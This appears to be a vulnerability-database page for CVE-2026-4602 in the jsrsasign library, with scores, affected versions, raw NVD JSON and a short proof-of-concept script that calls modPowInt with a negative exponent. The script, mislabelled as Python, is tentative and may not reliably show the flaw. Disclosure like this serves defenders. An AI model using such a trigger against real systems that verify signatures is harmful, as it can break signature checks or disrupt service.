Security Vulnerability Report
中文
CVE-2026-4602 CVSS 7.5 HIGH

CVE-2026-4602

Published: 2026-03-23 06:16:22
Last Modified: 2026-03-23 16:08:58

Description

Versions of the package jsrsasign before 11.1.1 are vulnerable to Incorrect Conversion between Numeric Types due to handling negative exponents in ext/jsbn2.js. An attacker can force the computation of incorrect modular inverses and break signature verification by calling modPow with a negative exponent.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:* - VULNERABLE
jsrsasign < 11.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-4602: Incorrect Conversion between Numeric Types in jsrsasign // This script demonstrates the vulnerability by triggering modPow with a negative exponent. const jsrsasign = require('jsrsasign'); function testNegativeExponent() { // Initialize a BigInteger const bn = new jsrsasign.BigInteger("1234567890"); // Attempt modular exponentiation with a negative exponent // In versions < 11.1.1, this may compute incorrect modular inverses try { const exponent = -1; const modulus = new jsrsasign.BigInteger("987654321"); console.log("Testing modPow with negative exponent..."); const result = bn.modPowInt(exponent, modulus); // or bn.modPow console.log("Result:", result.toString()); // If the result is incorrect or unexpected, the vulnerability is confirmed. } catch (e) { console.error("Exception thrown:", e); } } testNegativeExponent();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4602", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:22.070", "lastModified": "2026-03-23T16:08:58.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Incorrect Conversion between Numeric Types due to handling negative exponents in ext/jsbn2.js. An attacker can force the computation of incorrect modular inverses and break signature verification by calling modPow with a negative exponent."}, {"lang": "es", "value": "Las versiones del paquete jsrsasign anteriores a la 11.1.1 son vulnerables a Conversión Incorrecta entre Tipos Numéricos debido al manejo de exponentes negativos en ext/jsbn2.js. Un atacante puede forzar el cálculo de inversas modulares incorrectas y romper la verificación de firmas al llamar a modPow con un exponente negativo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-681"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.1", "matchCriteriaId": "1EBBE1A6-4D19-4ED2-859C-73AFBDA25DEA"}]}]}], "references": [{"url": "https://gist.github.com/Kr0emer/7ecd2be7d17419e4677315ef3758faf5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/kjur/jsrsasign/commit/5ea1c32bb2aa894b4bd29849839afe4f98728195", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kjur/jsrsasign/pull/650", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15371175", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}